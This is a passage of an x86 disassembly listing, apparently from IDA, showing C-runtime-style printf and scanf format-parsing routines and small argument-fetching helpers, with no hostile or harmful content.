		test	word ptr [ebp+var_4], 830h
		jnz	short loc_40F005
		or	byte ptr [ebp+var_4+1],	8


loc_40F005:				; CODE XREF: sub_40EDD8+227j
					; sub_40EDD8+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40F012
		mov	esi, 7FFFFFFFh


loc_40F012:				; CODE XREF: sub_40EDD8+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40F5B7
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_40F22B
		test	ecx, ecx
		jnz	short loc_40F03A
		mov	ecx, off_41FC7C
		mov	[ebp+var_8], ecx


loc_40F03A:				; CODE XREF: sub_40EDD8+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_40F043:				; CODE XREF: sub_40EDD8+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_40F222
		cmp	word ptr [eax],	0
		jz	loc_40F222
		inc	eax
		inc	eax
		jmp	short loc_40F043
; ---------------------------------------------------------------------------


loc_40F05C:				; CODE XREF: sub_40EDD8+212j
					; sub_40EDD8+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_40F066:				; CODE XREF: sub_40EDD8+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_40F14A
		mov	[ebp+var_10], 6
		jmp	loc_40F158
; ---------------------------------------------------------------------------


loc_40F087:				; CODE XREF: sub_40EDD8+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_40F093
		or	byte ptr [ebp+var_4+1],	8


loc_40F093:				; CODE XREF: sub_40EDD8+2B5j
					; sub_40EDD8+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_40F0DA
		call	sub_40F5D4
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_414A9C
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_40F0ED
		mov	[ebp+var_28], 1
		jmp	short loc_40F0ED
; ---------------------------------------------------------------------------


loc_40F0C4:				; CODE XREF: sub_40EDD8+1FBj
		sub	eax, 5Ah
		jz	short loc_40F0FB
		sub	eax, 9
		jz	short loc_40F093
		dec	eax
		jz	loc_40F2BD
		jmp	loc_40F3E2
; ---------------------------------------------------------------------------


loc_40F0DA:				; CODE XREF: sub_40EDD8+2C5j
		call	sub_40F5B7
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_40F0ED:				; CODE XREF: sub_40EDD8+2E1j
					; sub_40EDD8+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_40F3E2
; ---------------------------------------------------------------------------


loc_40F0FB:				; CODE XREF: sub_40EDD8+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40F5B7
		test	eax, eax
		pop	ecx
		jz	short loc_40F13C
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_40F13C
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_40F12D
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_40F3E2
; ---------------------------------------------------------------------------


loc_40F12D:				; CODE XREF: sub_40EDD8+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_40F3DF
; ---------------------------------------------------------------------------


loc_40F13C:				; CODE XREF: sub_40EDD8+32Fj
					; sub_40EDD8+336j
		mov	eax, off_41FC78
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_40F1D8
; ---------------------------------------------------------------------------


loc_40F14A:				; CODE XREF: sub_40EDD8+29Dj
		jnz	short loc_40F158
		cmp	bl, 67h
		jnz	short loc_40F158
		mov	[ebp+var_10], 1


loc_40F158:				; CODE XREF: sub_40EDD8+2AAj
					; sub_40EDD8:loc_40F14Aj ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_421DD0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_40F1AA
		cmp	[ebp+var_10], 0
		jnz	short loc_40F1AA
		lea	eax, [ebp+var_248]
		push	eax
		call	off_421DDC
		pop	ecx


loc_40F1AA:				; CODE XREF: sub_40EDD8+3BCj
					; sub_40EDD8+3C2j
		cmp	bl, 67h
		jnz	short loc_40F1C1
		test	esi, esi
		jnz	short loc_40F1C1
		lea	eax, [ebp+var_248]
		push	eax
		call	off_421DD4
		pop	ecx


loc_40F1C1:				; CODE XREF: sub_40EDD8+3D5j
					; sub_40EDD8+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_40F1D7
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_40F1D7:				; CODE XREF: sub_40EDD8+3F0j
		push	edi


loc_40F1D8:				; CODE XREF: sub_40EDD8+36Dj
		call	sub_40CBC0
		pop	ecx
		jmp	loc_40F3DF
; ---------------------------------------------------------------------------


loc_40F1E3:				; CODE XREF: sub_40EDD8+1E9j
		sub	eax, 69h
		jz	loc_40F2BD
		sub	eax, 5
		jz	loc_40F293
		dec	eax
		jz	loc_40F280
		dec	eax
		jz	short loc_40F250
		sub	eax, 3
		jz	loc_40F005
		dec	eax
		dec	eax
		jz	loc_40F2C1
		sub	eax, 3
		jnz	loc_40F3E2
		mov	[ebp+var_2C], 27h
		jmp	short loc_40F25E
; ---------------------------------------------------------------------------


loc_40F222:				; CODE XREF: sub_40EDD8+270j
					; sub_40EDD8+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_40F3DF
; ---------------------------------------------------------------------------


loc_40F22B:				; CODE XREF: sub_40EDD8+24Fj
		test	ecx, ecx
		jnz	short loc_40F238
		mov	ecx, off_41FC78
		mov	[ebp+var_8], ecx


loc_40F238:				; CODE XREF: sub_40EDD8+455j
		mov	eax, ecx


loc_40F23A:				; CODE XREF: sub_40EDD8+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_40F249
		cmp	byte ptr [eax],	0
		jz	short loc_40F249
		inc	eax
		jmp	short loc_40F23A
; ---------------------------------------------------------------------------


loc_40F249:				; CODE XREF: sub_40EDD8+467j
					; sub_40EDD8+46Cj
		sub	eax, ecx
		jmp	loc_40F3DF
; ---------------------------------------------------------------------------


loc_40F250:				; CODE XREF: sub_40EDD8+425j
		mov	[ebp+var_10], 8


loc_40F257:				; CODE XREF: sub_40EDD8+201j
		mov	[ebp+var_2C], 7


loc_40F25E:				; CODE XREF: sub_40EDD8+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_40F2C8
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_40F2C8
; ---------------------------------------------------------------------------


loc_40F280:				; CODE XREF: sub_40EDD8+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_40F2C8
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_40F2C8
; ---------------------------------------------------------------------------


loc_40F293:				; CODE XREF: sub_40EDD8+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40F5B7
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_40F2AC
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_40F2B1
; ---------------------------------------------------------------------------


loc_40F2AC:				; CODE XREF: sub_40EDD8+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_40F2B1:				; CODE XREF: sub_40EDD8+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_40F4E0	; default
; ---------------------------------------------------------------------------


loc_40F2BD:				; CODE XREF: sub_40EDD8+2F7j
					; sub_40EDD8+40Ej
		or	[ebp+var_4], 40h


loc_40F2C1:				; CODE XREF: sub_40EDD8+432j
		mov	[ebp+var_C], 0Ah


loc_40F2C8:				; CODE XREF: sub_40EDD8+491j
					; sub_40EDD8+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_40F2DA
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40F5C4
		pop	ecx
		jmp	short loc_40F31B
; ---------------------------------------------------------------------------


loc_40F2DA:				; CODE XREF: sub_40EDD8+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_40F301
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_40F2F6
		call	sub_40F5B7
		pop	ecx
		movsx	eax, ax


loc_40F2F3:				; CODE XREF: sub_40EDD8+527j
					; sub_40EDD8+539j
		cdq
		jmp	short loc_40F31B
; ---------------------------------------------------------------------------


loc_40F2F6:				; CODE XREF: sub_40EDD8+510j
		call	sub_40F5B7
		pop	ecx
		movzx	eax, ax
		jmp	short loc_40F2F3
; ---------------------------------------------------------------------------


loc_40F301:				; CODE XREF: sub_40EDD8+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_40F313
		call	sub_40F5B7
		pop	ecx
		jmp	short loc_40F2F3
; ---------------------------------------------------------------------------


loc_40F313:				; CODE XREF: sub_40EDD8+531j
		call	sub_40F5B7
		pop	ecx
		xor	edx, edx


loc_40F31B:				; CODE XREF: sub_40EDD8+500j
					; sub_40EDD8+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_40F33C
		test	edx, edx
		jg	short loc_40F33C
		jl	short loc_40F32B
		test	eax, eax
		jnb	short loc_40F33C


loc_40F32B:				; CODE XREF: sub_40EDD8+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_40F340
; ---------------------------------------------------------------------------


loc_40F33C:				; CODE XREF: sub_40EDD8+547j
					; sub_40EDD8+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_40F340:				; CODE XREF: sub_40EDD8+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_40F349
		and	edi, 0


loc_40F349:				; CODE XREF: sub_40EDD8+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_40F358
		mov	[ebp+var_10], 1
		jmp	short loc_40F35C
; ---------------------------------------------------------------------------


loc_40F358:				; CODE XREF: sub_40EDD8+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_40F35C:				; CODE XREF: sub_40EDD8+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_40F366
		and	[ebp+var_1C], 0


loc_40F366:				; CODE XREF: sub_40EDD8+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_40F36C:				; CODE XREF: sub_40EDD8+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_40F37C
		mov	eax, esi
		or	eax, edi
		jz	short loc_40F3B7


loc_40F37C:				; CODE XREF: sub_40EDD8+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_40DED0
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_40DE60
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_40F3AD
		add	ebx, [ebp+var_2C]


loc_40F3AD:				; CODE XREF: sub_40EDD8+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_40F36C
; ---------------------------------------------------------------------------


loc_40F3B7:				; CODE XREF: sub_40EDD8+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_40F3E2
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_40F3D5
		test	eax, eax
		jnz	short loc_40F3E2


loc_40F3D5:				; CODE XREF: sub_40EDD8+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_40F3DF:				; CODE XREF: sub_40EDD8+35Fj
					; sub_40EDD8+406j ...
		mov	[ebp+var_C], eax


loc_40F3E2:				; CODE XREF: sub_40EDD8+21Bj
					; sub_40EDD8+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_40F4E0	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_40F41A
		test	bh, 1
		jz	short loc_40F3FF
		mov	[ebp+var_16], 2Dh
		jmp	short loc_40F413
; ---------------------------------------------------------------------------


loc_40F3FF:				; CODE XREF: sub_40EDD8+61Fj
		test	bl, 1
		jz	short loc_40F40A
		mov	[ebp+var_16], 2Bh
		jmp	short loc_40F413
; ---------------------------------------------------------------------------


loc_40F40A:				; CODE XREF: sub_40EDD8+62Aj
		test	bl, 2
		jz	short loc_40F41A
		mov	[ebp+var_16], 20h


loc_40F413:				; CODE XREF: sub_40EDD8+625j
					; sub_40EDD8+630j
		mov	[ebp+var_1C], 1


loc_40F41A:				; CODE XREF: sub_40EDD8+61Aj
					; sub_40EDD8+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_40F43A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_40F54E
		add	esp, 10h


loc_40F43A:				; CODE XREF: sub_40EDD8+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_40F57F
		add	esp, 10h
		test	bl, 8
		jz	short loc_40F46C
		test	bl, 4
		jnz	short loc_40F46C
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_40F54E
		add	esp, 10h


loc_40F46C:				; CODE XREF: sub_40EDD8+67Bj
					; sub_40EDD8+680j
		cmp	[ebp+var_24], 0
		jz	short loc_40F4B3
		cmp	[ebp+var_C], 0
		jle	short loc_40F4B3
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_40F481:				; CODE XREF: sub_40EDD8+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_414A9C
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40F4C8
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_40F57F
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_40F481
		jmp	short loc_40F4C8
; ---------------------------------------------------------------------------


loc_40F4B3:				; CODE XREF: sub_40EDD8+698j
					; sub_40EDD8+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_40F57F
		add	esp, 10h


loc_40F4C8:				; CODE XREF: sub_40EDD8+6BCj
					; sub_40EDD8+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_40F4E0 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_40F54E
		add	esp, 10h


loc_40F4E0:				; CODE XREF: sub_40EDD8+68j
					; sub_40EDD8+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_40EE04


loc_40F4F1:				; CODE XREF: sub_40EDD8+1Fj
					; sub_40EDD8+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EDD8	endp

; ---------------------------------------------------------------------------
off_40F4F9	dd offset loc_40EF77	; DATA XREF: sub_40EDD8+6Er
		dd offset loc_40EE4D	; jump table for switch	statement
		dd offset loc_40EE68
		dd offset loc_40EEB4
		dd offset loc_40EEEB
		dd offset loc_40EEF3
		dd offset loc_40EF28
		dd offset loc_40EFBB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F519	proc near		; CODE XREF: sub_40EDD8+1BDp
					; sub_40EDD8+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_40F532
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_40F53D
; ---------------------------------------------------------------------------


loc_40F532:				; CODE XREF: sub_40F519+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_40ECC3
		pop	ecx
		pop	ecx


loc_40F53D:				; CODE XREF: sub_40F519+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_40F54A
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40F54A:				; CODE XREF: sub_40F519+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_40F519	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F54E	proc near		; CODE XREF: sub_40EDD8+65Ap
					; sub_40EDD8+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_40F57C
		mov	esi, [esp+8+arg_C]


loc_40F55F:				; CODE XREF: sub_40F54E+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_40F519
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_40F57C
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_40F55F


loc_40F57C:				; CODE XREF: sub_40F54E+Bj
					; sub_40F54E+25j
		pop	edi
		pop	esi
		retn
sub_40F54E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F57F	proc near		; CODE XREF: sub_40EDD8+670p
					; sub_40EDD8+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_40F5B3
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_40F595:				; CODE XREF: sub_40F57F+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_40F519
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_40F5B3
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_40F595


loc_40F5B3:				; CODE XREF: sub_40F57F+Cj
					; sub_40F57F+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40F57F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F5B7	proc near		; CODE XREF: sub_40EDD8+E5p
					; sub_40EDD8+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_40F5B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F5C4	proc near		; CODE XREF: sub_40EDD8+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_40F5C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F5D4	proc near		; CODE XREF: sub_40EDD8+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_40F5D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F5E2	proc near		; CODE XREF: sub_40CB7D+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_40FFE8
		mov	edi, [ebp+arg_0]
		jmp	short loc_40F611
; ---------------------------------------------------------------------------


loc_40F60C:				; CODE XREF: sub_40F5E2+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_40F611:				; CODE XREF: sub_40F5E2+28j
		cmp	dword_422004, 1
		jle	short loc_40F629
		movzx	eax, al
		push	8
		push	eax
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_40F638
; ---------------------------------------------------------------------------


loc_40F629:				; CODE XREF: sub_40F5E2+36j
		mov	ecx, off_421DF8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_40F638:				; CODE XREF: sub_40F5E2+45j
		cmp	eax, ebx
		jz	short loc_40F672
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41006F
		pop	ecx
		pop	ecx
		push	eax
		call	sub_410058
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_414BCC
		add	esp, 0Ch


loc_40F660:				; CODE XREF: sub_40F5E2+8Ej
		test	eax, eax
		jz	short loc_40F672
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_414BCC
		pop	ecx
		jmp	short loc_40F660
; ---------------------------------------------------------------------------


loc_40F672:				; CODE XREF: sub_40F5E2+58j
					; sub_40F5E2+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_40FF54
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_40F6A9:				; CODE XREF: sub_40F5E2+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_422004, 1
		jle	short loc_40F6C6
		movzx	eax, bl
		push	4
		push	eax
		call	sub_412B49
		pop	ecx
		pop	ecx
		jmp	short loc_40F6D5
; ---------------------------------------------------------------------------


loc_40F6C6:				; CODE XREF: sub_40F5E2+D3j
		mov	ecx, off_421DF8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_40F6D5:				; CODE XREF: sub_40F5E2+E2j
		test	eax, eax
		jz	short loc_40F6EB
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_40F750
; ---------------------------------------------------------------------------


loc_40F6EB:				; CODE XREF: sub_40F5E2+F5j
		cmp	ebx, 4Eh
		jg	short loc_40F72E
		jz	short loc_40F750
		cmp	ebx, 2Ah
		jz	short loc_40F729
		cmp	ebx, 46h
		jz	short loc_40F750
		cmp	ebx, 49h
		jz	short loc_40F70B
		cmp	ebx, 4Ch
		jnz	short loc_40F73D
		inc	[ebp+var_D]
		jmp	short loc_40F750
; ---------------------------------------------------------------------------


loc_40F70B:				; CODE XREF: sub_40F5E2+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_40F73D
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_40F73D
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_40F750
; ---------------------------------------------------------------------------


loc_40F729:				; CODE XREF: sub_40F5E2+113j
		inc	[ebp+var_E]
		jmp	short loc_40F750
; ---------------------------------------------------------------------------


loc_40F72E:				; CODE XREF: sub_40F5E2+10Cj
		cmp	ebx, 68h
		jz	short loc_40F74A
		cmp	ebx, 6Ch
		jz	short loc_40F742
		cmp	ebx, 77h
		jz	short loc_40F745


loc_40F73D:				; CODE XREF: sub_40F5E2+122j
					; sub_40F5E2+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_40F750
; ---------------------------------------------------------------------------


loc_40F742:				; CODE XREF: sub_40F5E2+154j
		inc	[ebp+var_D]


loc_40F745:				; CODE XREF: sub_40F5E2+159j
		inc	[ebp+var_5]
		jmp	short loc_40F750
; ---------------------------------------------------------------------------


loc_40F74A:				; CODE XREF: sub_40F5E2+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_40F750:				; CODE XREF: sub_40F5E2+107j
					; sub_40F5E2+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_40F6A9
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_40F775
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_40F775:				; CODE XREF: sub_40F5E2+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_40F793
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_40F78F
		cmp	al, 43h
		jz	short loc_40F78F
		or	[ebp+var_5], 0FFh
		jmp	short loc_40F793
; ---------------------------------------------------------------------------


loc_40F78F:				; CODE XREF: sub_40F5E2+1A1j
					; sub_40F5E2+1A5j
		mov	[ebp+var_5], 1


loc_40F793:				; CODE XREF: sub_40F5E2+19Bj
					; sub_40F5E2+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_40F7CC
		cmp	esi, 63h
		jz	short loc_40F7BD
		cmp	esi, 7Bh
		jz	short loc_40F7BD
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_41006F
		pop	ecx
		jmp	short loc_40F7C8
; ---------------------------------------------------------------------------


loc_40F7BD:				; CODE XREF: sub_40F5E2+1C5j
					; sub_40F5E2+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_41003E


loc_40F7C8:				; CODE XREF: sub_40F5E2+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_40F7CC:				; CODE XREF: sub_40F5E2+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_40F7DC
		cmp	[ebp+var_C], eax
		jz	loc_40FFB8


loc_40F7DC:				; CODE XREF: sub_40F5E2+1EFj
		cmp	esi, 6Fh
		jg	loc_40FA43
		jz	loc_40FCF5
		cmp	esi, 63h
		jz	loc_40FA20
		cmp	esi, 64h
		jz	loc_40FCF5
		jle	loc_40FA6D
		cmp	esi, 67h
		jle	short loc_40F840
		cmp	esi, 69h
		jz	short loc_40F828
		cmp	esi, 6Eh
		jnz	loc_40FA6D
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_40FF23
		jmp	loc_40FF49
; ---------------------------------------------------------------------------


loc_40F828:				; CODE XREF: sub_40F5E2+229j
		push	64h
		pop	esi


loc_40F82B:				; CODE XREF: sub_40F5E2+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_40FAB5
		mov	[ebp+var_17], 1
		jmp	loc_40FABA
; ---------------------------------------------------------------------------


loc_40F840:				; CODE XREF: sub_40F5E2+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_40F85C
		mov	[ebp+var_1C4], bl
